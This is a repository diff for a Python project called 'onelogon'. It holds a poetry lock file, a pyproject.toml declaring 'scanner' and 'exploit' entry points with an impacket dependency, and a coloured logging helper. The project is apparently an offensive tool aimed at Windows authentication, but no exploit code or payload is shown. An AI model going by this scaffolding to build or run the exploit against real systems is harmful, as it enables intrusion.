{file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f"},
|
||||
{file = "MarkupSafe-3.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:eaa0a10b7f72326f1372a713e73c3f739b524b3af41feb43e4921cb529f5929a"},
|
||||
{file = "MarkupSafe-3.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:48032821bbdf20f5799ff537c7ac3d1fba0ba032cfc06194faffa8cda8b560ff"},
|
||||
{file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a9d3f5f0901fdec14d8d2f66ef7d035f2157240a433441719ac9a3fba440b13"},
|
||||
{file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88b49a3b9ff31e19998750c38e030fc7bb937398b1f78cfa599aaef92d693144"},
|
||||
{file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cfad01eed2c2e0c01fd0ecd2ef42c492f7f93902e39a42fc9ee1692961443a29"},
|
||||
{file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1225beacc926f536dc82e45f8a4d68502949dc67eea90eab715dea3a21c1b5f0"},
|
||||
{file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3169b1eefae027567d1ce6ee7cae382c57fe26e82775f460f0b2778beaad66c0"},
|
||||
{file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:eb7972a85c54febfb25b5c4b4f3af4dcc731994c7da0d8a0b4a6eb0640e1d178"},
|
||||
{file = "MarkupSafe-3.0.2-cp39-cp39-win32.whl", hash = "sha256:8c4e8c3ce11e1f92f6536ff07154f9d49677ebaaafc32db9db4620bc11ed480f"},
|
||||
{file = "MarkupSafe-3.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:6e296a513ca3d94054c2c881cc913116e90fd030ad1c656b3869762b754f5f8a"},
|
||||
{file = "markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyasn1"
|
||||
version = "0.6.1"
|
||||
description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pyasn1-0.6.1-py3-none-any.whl", hash = "sha256:0d632f46f2ba09143da3a8afe9e33fb6f92fa2320ab7e886e2d0f7672af84629"},
|
||||
{file = "pyasn1-0.6.1.tar.gz", hash = "sha256:6f580d2bdd84365380830acf45550f2511469f673cb4a5ae3857a3170128b034"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyasn1-modules"
|
||||
version = "0.4.2"
|
||||
description = "A collection of ASN.1-based protocols modules"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a"},
|
||||
{file = "pyasn1_modules-0.4.2.tar.gz", hash = "sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
pyasn1 = ">=0.6.1,<0.7.0"
|
||||
|
||||
[[package]]
|
||||
name = "pycparser"
|
||||
version = "2.22"
|
||||
description = "C parser in Python"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
markers = "platform_python_implementation != \"PyPy\""
|
||||
files = [
|
||||
{file = "pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc"},
|
||||
{file = "pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pycryptodomex"
|
||||
version = "3.23.0"
|
||||
description = "Cryptographic library for Python"
|
||||
optional = false
|
||||
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pycryptodomex-3.23.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:add243d204e125f189819db65eed55e6b4713f70a7e9576c043178656529cec7"},
|
||||
{file = "pycryptodomex-3.23.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:1c6d919fc8429e5cb228ba8c0d4d03d202a560b421c14867a65f6042990adc8e"},
|
||||
{file = "pycryptodomex-3.23.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:1c3a65ad441746b250d781910d26b7ed0a396733c6f2dbc3327bd7051ec8a541"},
|
||||
{file = "pycryptodomex-3.23.0-cp27-cp27m-win32.whl", hash = "sha256:47f6d318fe864d02d5e59a20a18834819596c4ed1d3c917801b22b92b3ffa648"},
|
||||
{file = "pycryptodomex-3.23.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:d9825410197a97685d6a1fa2a86196430b01877d64458a20e95d4fd00d739a08"},
|
||||
{file = "pycryptodomex-3.23.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:267a3038f87a8565bd834317dbf053a02055915acf353bf42ededb9edaf72010"},
|
||||
{file = "pycryptodomex-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:7b37e08e3871efe2187bc1fd9320cc81d87caf19816c648f24443483005ff886"},
|
||||
{file = "pycryptodomex-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:91979028227543010d7b2ba2471cf1d1e398b3f183cb105ac584df0c36dac28d"},
|
||||
{file = "pycryptodomex-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6b8962204c47464d5c1c4038abeadd4514a133b28748bcd9fa5b6d62e3cec6fa"},
|
||||
{file = "pycryptodomex-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a33986a0066860f7fcf7c7bd2bc804fa90e434183645595ae7b33d01f3c91ed8"},
|
||||
{file = "pycryptodomex-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7947ab8d589e3178da3d7cdeabe14f841b391e17046954f2fbcd941705762b5"},
|
||||
{file = "pycryptodomex-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c25e30a20e1b426e1f0fa00131c516f16e474204eee1139d1603e132acffc314"},
|
||||
{file = "pycryptodomex-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:da4fa650cef02db88c2b98acc5434461e027dce0ae8c22dd5a69013eaf510006"},
|
||||
{file = "pycryptodomex-3.23.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:58b851b9effd0d072d4ca2e4542bf2a4abcf13c82a29fd2c93ce27ee2a2e9462"},
|
||||
{file = "pycryptodomex-3.23.0-cp313-cp313t-win32.whl", hash = "sha256:a9d446e844f08299236780f2efa9898c818fe7e02f17263866b8550c7d5fb328"},
|
||||
{file = "pycryptodomex-3.23.0-cp313-cp313t-win_amd64.whl", hash = "sha256:bc65bdd9fc8de7a35a74cab1c898cab391a4add33a8fe740bda00f5976ca4708"},
|
||||
{file = "pycryptodomex-3.23.0-cp313-cp313t-win_arm64.whl", hash = "sha256:c885da45e70139464f082018ac527fdaad26f1657a99ee13eecdce0f0ca24ab4"},
|
||||
{file = "pycryptodomex-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:06698f957fe1ab229a99ba2defeeae1c09af185baa909a31a5d1f9d42b1aaed6"},
|
||||
{file = "pycryptodomex-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:b2c2537863eccef2d41061e82a881dcabb04944c5c06c5aa7110b577cc487545"},
|
||||
{file = "pycryptodomex-3.23.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:43c446e2ba8df8889e0e16f02211c25b4934898384c1ec1ec04d7889c0333587"},
|
||||
{file = "pycryptodomex-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f489c4765093fb60e2edafdf223397bc716491b2b69fe74367b70d6999257a5c"},
|
||||
{file = "pycryptodomex-3.23.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bdc69d0d3d989a1029df0eed67cc5e8e5d968f3724f4519bd03e0ec68df7543c"},
|
||||
{file = "pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:6bbcb1dd0f646484939e142462d9e532482bc74475cecf9c4903d4e1cd21f003"},
|
||||
{file = "pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:8a4fcd42ccb04c31268d1efeecfccfd1249612b4de6374205376b8f280321744"},
|
||||
{file = "pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:55ccbe27f049743a4caf4f4221b166560d3438d0b1e5ab929e07ae1702a4d6fd"},
|
||||
{file = "pycryptodomex-3.23.0-cp37-abi3-win32.whl", hash = "sha256:189afbc87f0b9f158386bf051f720e20fa6145975f1e76369303d0f31d1a8d7c"},
|
||||
{file = "pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:52e5ca58c3a0b0bd5e100a9fbc8015059b05cffc6c66ce9d98b4b45e023443b9"},
|
||||
{file = "pycryptodomex-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:02d87b80778c171445d67e23d1caef279bf4b25c3597050ccd2e13970b57fd51"},
|
||||
{file = "pycryptodomex-3.23.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:febec69c0291efd056c65691b6d9a339f8b4bc43c6635b8699471248fe897fea"},
|
||||
{file = "pycryptodomex-3.23.0-pp27-pypy_73-win32.whl", hash = "sha256:c84b239a1f4ec62e9c789aafe0543f0594f0acd90c8d9e15bcece3efe55eca66"},
|
||||
{file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ebfff755c360d674306e5891c564a274a47953562b42fb74a5c25b8fc1fb1cb5"},
|
||||
{file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eca54f4bb349d45afc17e3011ed4264ef1cc9e266699874cdd1349c504e64798"},
|
||||
{file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2596e643d4365e14d0879dc5aafe6355616c61c2176009270f3048f6d9a61f"},
|
||||
{file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fdfac7cda115bca3a5abb2f9e43bc2fb66c2b65ab074913643803ca7083a79ea"},
|
||||
{file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:14c37aaece158d0ace436f76a7bb19093db3b4deade9797abfc39ec6cd6cc2fe"},
|
||||
{file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7de1e40a41a5d7f1ac42b6569b10bcdded34339950945948529067d8426d2785"},
|
||||
{file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bffc92138d75664b6d543984db7893a628559b9e78658563b0395e2a5fb47ed9"},
|
||||
{file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:df027262368334552db2c0ce39706b3fb32022d1dce34673d0f9422df004b96a"},
|
||||
{file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4e79f1aaff5a3a374e92eb462fa9e598585452135012e2945f96874ca6eeb1ff"},
|
||||
{file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:27e13c80ac9a0a1d050ef0a7e0a18cc04c8850101ec891815b6c5a0375e8a245"},
|
||||
{file = "pycryptodomex-3.23.0.tar.gz", hash = "sha256:71909758f010c82bc99b0abf4ea12012c98962fbf0583c2164f8b84533c2e4da"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyopenssl"
|
||||
version = "24.0.0"
|
||||
description = "Python wrapper module around the OpenSSL library"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pyOpenSSL-24.0.0-py3-none-any.whl", hash = "sha256:ba07553fb6fd6a7a2259adb9b84e12302a9a8a75c44046e8bb5d3e5ee887e3c3"},
|
||||
{file = "pyOpenSSL-24.0.0.tar.gz", hash = "sha256:6aa33039a93fffa4563e655b61d11364d01264be8ccb49906101e02a334530bf"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
cryptography = ">=41.0.5,<43"
|
||||
|
||||
[package.extras]
|
||||
docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx-rtd-theme"]
|
||||
test = ["flaky", "pretend", "pytest (>=3.0.1)"]
|
||||
|
||||
[[package]]
|
||||
name = "pyreadline3"
|
||||
version = "3.5.4"
|
||||
description = "A python implementation of GNU readline."
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
markers = "sys_platform == \"win32\""
|
||||
files = [
|
||||
{file = "pyreadline3-3.5.4-py3-none-any.whl", hash = "sha256:eaf8e6cc3c49bcccf145fc6067ba8643d1df34d604a1ec0eccbf7a18e6d3fae6"},
|
||||
{file = "pyreadline3-3.5.4.tar.gz", hash = "sha256:8d57d53039a1c75adba8e50dd3d992b28143480816187ea5efbd5c78e6c885b7"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
dev = ["build", "flake8", "mypy", "pytest", "twine"]
|
||||
|
||||
[[package]]
|
||||
name = "ruff"
|
||||
version = "0.12.8"
|
||||
description = "An extremely fast Python linter and code formatter, written in Rust."
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["dev"]
|
||||
files = [
|
||||
{file = "ruff-0.12.8-py3-none-linux_armv6l.whl", hash = "sha256:63cb5a5e933fc913e5823a0dfdc3c99add73f52d139d6cd5cc8639d0e0465513"},
|
||||
{file = "ruff-0.12.8-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9a9bbe28f9f551accf84a24c366c1aa8774d6748438b47174f8e8565ab9dedbc"},
|
||||
{file = "ruff-0.12.8-py3-none-macosx_11_0_arm64.whl", hash = "sha256:2fae54e752a3150f7ee0e09bce2e133caf10ce9d971510a9b925392dc98d2fec"},
|
||||
{file = "ruff-0.12.8-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c0acbcf01206df963d9331b5838fb31f3b44fa979ee7fa368b9b9057d89f4a53"},
|
||||
{file = "ruff-0.12.8-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ae3e7504666ad4c62f9ac8eedb52a93f9ebdeb34742b8b71cd3cccd24912719f"},
|
||||
{file = "ruff-0.12.8-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cb82efb5d35d07497813a1c5647867390a7d83304562607f3579602fa3d7d46f"},
|
||||
{file = "ruff-0.12.8-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:dbea798fc0065ad0b84a2947b0aff4233f0cb30f226f00a2c5850ca4393de609"},
|
||||
{file = "ruff-0.12.8-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:49ebcaccc2bdad86fd51b7864e3d808aad404aab8df33d469b6e65584656263a"},
|
||||
{file = "ruff-0.12.8-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ac9c570634b98c71c88cb17badd90f13fc076a472ba6ef1d113d8ed3df109fb"},
|
||||
{file = "ruff-0.12.8-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:560e0cd641e45591a3e42cb50ef61ce07162b9c233786663fdce2d8557d99818"},
|
||||
{file = "ruff-0.12.8-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:71c83121512e7743fba5a8848c261dcc454cafb3ef2934a43f1b7a4eb5a447ea"},
|
||||
{file = "ruff-0.12.8-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:de4429ef2ba091ecddedd300f4c3f24bca875d3d8b23340728c3cb0da81072c3"},
|
||||
{file = "ruff-0.12.8-py3-none-musllinux_1_2_i686.whl", hash = "sha256:a2cab5f60d5b65b50fba39a8950c8746df1627d54ba1197f970763917184b161"},
|
||||
{file = "ruff-0.12.8-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:45c32487e14f60b88aad6be9fd5da5093dbefb0e3e1224131cb1d441d7cb7d46"},
|
||||
{file = "ruff-0.12.8-py3-none-win32.whl", hash = "sha256:daf3475060a617fd5bc80638aeaf2f5937f10af3ec44464e280a9d2218e720d3"},
|
||||
{file = "ruff-0.12.8-py3-none-win_amd64.whl", hash = "sha256:7209531f1a1fcfbe8e46bcd7ab30e2f43604d8ba1c49029bb420b103d0b5f76e"},
|
||||
{file = "ruff-0.12.8-py3-none-win_arm64.whl", hash = "sha256:c90e1a334683ce41b0e7a04f41790c429bf5073b62c1ae701c9dc5b3d14f0749"},
|
||||
{file = "ruff-0.12.8.tar.gz", hash = "sha256:4cb3a45525176e1009b2b64126acf5f9444ea59066262791febf55e40493a033"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "setuptools"
|
||||
version = "80.9.0"
|
||||
description = "Easily download, build, install, upgrade, and uninstall Python packages"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "setuptools-80.9.0-py3-none-any.whl", hash = "sha256:062d34222ad13e0cc312a4c02d73f059e86a4acbfbdea8f8f76b28c99f306922"},
|
||||
{file = "setuptools-80.9.0.tar.gz", hash = "sha256:f36b47402ecde768dbfafc46e8e4207b4360c654f1f3bb84475f0a28628fb19c"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.8.0) ; sys_platform != \"cygwin\""]
|
||||
core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"]
|
||||
cover = ["pytest-cov"]
|
||||
doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"]
|
||||
enabler = ["pytest-enabler (>=2.2)"]
|
||||
test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"]
|
||||
type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.14.*)", "pytest-mypy"]
|
||||
|
||||
[[package]]
|
||||
name = "six"
|
||||
version = "1.17.0"
|
||||
description = "Python 2 and 3 compatibility utilities"
|
||||
optional = false
|
||||
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"},
|
||||
{file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "termcolor"
|
||||
version = "3.1.0"
|
||||
description = "ANSI color formatting for output in terminal"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "termcolor-3.1.0-py3-none-any.whl", hash = "sha256:591dd26b5c2ce03b9e43f391264626557873ce1d379019786f99b0c2bee140aa"},
|
||||
{file = "termcolor-3.1.0.tar.gz", hash = "sha256:6a6dd7fbee581909eeec6a756cff1d7f7c376063b14e4a298dc4980309e55970"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
tests = ["pytest", "pytest-cov"]
|
||||
|
||||
[[package]]
|
||||
name = "werkzeug"
|
||||
version = "3.1.3"
|
||||
description = "The comprehensive WSGI web application library."
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "werkzeug-3.1.3-py3-none-any.whl", hash = "sha256:54b78bf3716d19a65be4fceccc0d1d7b89e608834989dfae50ea87564639213e"},
|
||||
{file = "werkzeug-3.1.3.tar.gz", hash = "sha256:60723ce945c19328679790e3282cc758aa4a6040e4bb330f53d30fa546d44746"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
MarkupSafe = ">=2.1.1"
|
||||
|
||||
[package.extras]
|
||||
watchdog = ["watchdog (>=2.3)"]
|
||||
|
||||
[metadata]
|
||||
lock-version = "2.1"
|
||||
python-versions = ">=3.12"
|
||||
content-hash = "432836b982e90c1de89022d13a0dca8ab096ee7792d4bbebe42d12aebbc4d1a8"
|
||||
@@ -0,0 +1,72 @@
|
||||
[project]
|
||||
name = "onelogon"
|
||||
version = "1.0.0"
|
||||
description = ""
|
||||
authors = [
|
||||
{name = "Alexander Neff", email = "alex99.neff@gmx.de"}
|
||||
]
|
||||
license = {text = "MIT"}
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.12"
|
||||
dependencies = [
|
||||
"impacket (>=0.13.0)",
|
||||
"termcolor (>=3.1.0,<4.0.0)",
|
||||
]
|
||||
|
||||
[project.urls]
|
||||
homepage = "https://github.com/NeffIsBack/onelogon"
|
||||
repository = "https://github.com/Pennyw0rth/onelogon"
|
||||
|
||||
[project.scripts]
|
||||
onelogon-scanner = "scanner.scanner:main"
|
||||
scan = "scanner.scanner:main"
|
||||
onelogon = "exploit.onelogon:main"
|
||||
ol = "exploit.onelogon:main"
|
||||
|
||||
[tool.poetry]
|
||||
packages = [
|
||||
{ include = "scanner" },
|
||||
{ include = "exploit" }
|
||||
]
|
||||
|
||||
[tool.poetry.group.dev.dependencies]
|
||||
ruff = "*"
|
||||
|
||||
[build-system]
|
||||
requires = ["poetry-core>=2.0.0,<3.0.0"]
|
||||
build-backend = "poetry.core.masonry.api"
|
||||
|
||||
[tool.ruff]
|
||||
target-version = "py313"
|
||||
exclude = [
|
||||
".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache",
|
||||
".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv",
|
||||
"__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv"
|
||||
]
|
||||
preview = true
|
||||
|
||||
[tool.ruff.lint]
|
||||
select = [
|
||||
"E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT",
|
||||
"Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "LOG", "RUF", "W"
|
||||
]
|
||||
ignore = [
|
||||
"A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106",
|
||||
"D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415",
|
||||
"D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508",
|
||||
"PERF203", "RUF012", "RUF052", "RUF059"
|
||||
]
|
||||
|
||||
# THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings
|
||||
# Allow autofix for all enabled rules (when `--fix`) is provided.
|
||||
fixable = ["ALL"]
|
||||
unfixable = []
|
||||
per-file-ignores = {}
|
||||
|
||||
# Allow unused variables when underscore-prefixed.
|
||||
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
|
||||
|
||||
[tool.ruff.lint.flake8-quotes]
|
||||
docstring-quotes = "double"
|
||||
inline-quotes = "double"
|
||||
multiline-quotes = "double"
|
||||
@@ -0,0 +1,83 @@
|
||||
|
||||
import logging
|
||||
import sys
|
||||
from termcolor import colored
|
||||
|
||||
|
||||
# Stolen from wsuks
|
||||
class Formatter(logging.Formatter):
|
||||
"""Prefixing logged messages through the custom attribute 'bullet'."""
|
||||
|
||||
def __init__(self):
|
||||
logging.Formatter.__init__(self, "%(bullet)s %(message)s", None)
|
||||
|
||||
def format(self, record):
|
||||
if record.levelno == logging.DEBUG:
|
||||
record.bullet = colored("DEBUG", "magenta", attrs=["bold"])
|
||||
elif record.levelno == logging.INFO:
|
||||
record.bullet = colored("[*]", "blue", attrs=["bold"])
|
||||
elif record.levelno == logging.SUCCESS:
|
||||
record.bullet = colored("[+]", "green", attrs=["bold"])
|
||||
elif record.levelno == logging.WARNING:
|
||||
record.bullet = colored("[!]", "yellow", attrs=["bold"])
|
||||
elif record.levelno == logging.ERROR:
|
||||
record.bullet = colored("[-]", "red", attrs=["bold"])
|
||||
elif record.levelno == logging.CRITICAL:
|
||||
record.bullet = colored("[CRITICAL]", "red", attrs=["bold", "reverse"])
|
||||
elif record.levelno:
|
||||
record.bullet = "[ERROR]"
|
||||
|
||||
return logging.Formatter.format(self, record)
|
||||
|
||||
|
||||
class FormatterTimeStamp(Formatter):
|
||||
"""Prefixing logged messages through the custom attribute 'bullet'."""
|
||||
|
||||
def __init__(self):
|
||||
logging.Formatter.__init__(self, "[%(asctime)-15s] %(bullet)s %(message)s", None)
|
||||
|
||||
def formatTime(self, record, datefmt=None):
|
||||
return Formatter.formatTime(self, record, datefmt="%Y-%m-%d %H:%M:%S")
|
||||
|
||||
|
||||
def addSuccessLogLevel(logger):
|
||||
logging.SUCCESS = 25 # between WARNING and INFO
|
||||
logging.addLevelName(logging.SUCCESS, "SUCCESS")
|
||||
|
||||
def success(self, msg, *args, **kwargs):
|
||||
logger._log(25, msg, args, **kwargs)
|
||||
logging.getLoggerClass().success = success
|
||||
|
||||
|
||||
def initLogger(ts=False, debug=False):
|
||||
"""
|
||||
Initialize logger with specified logging level, add formatter, handler and success log level
|
||||
|
||||
:param ts: Add timestamp to log messages
|
||||
:param debug: Set logging level to DEBUG
|
||||
:return: logger
|
||||
"""
|
||||
handler = logging.StreamHandler(sys.stdout)
|
||||
if ts:
|
||||
handler.setFormatter(FormatterTimeStamp())
|
||||
else:
|
||||
handler.setFormatter(Formatter())
|
||||
|
||||
logger = logging.getLogger("onelogon")
|
||||
logger.propagate = False
|
||||
root_logger = logging.getLogger()
|
||||
|
||||
logger.addHandler(handler)
|
||||
root_logger.addHandler(handler)
|
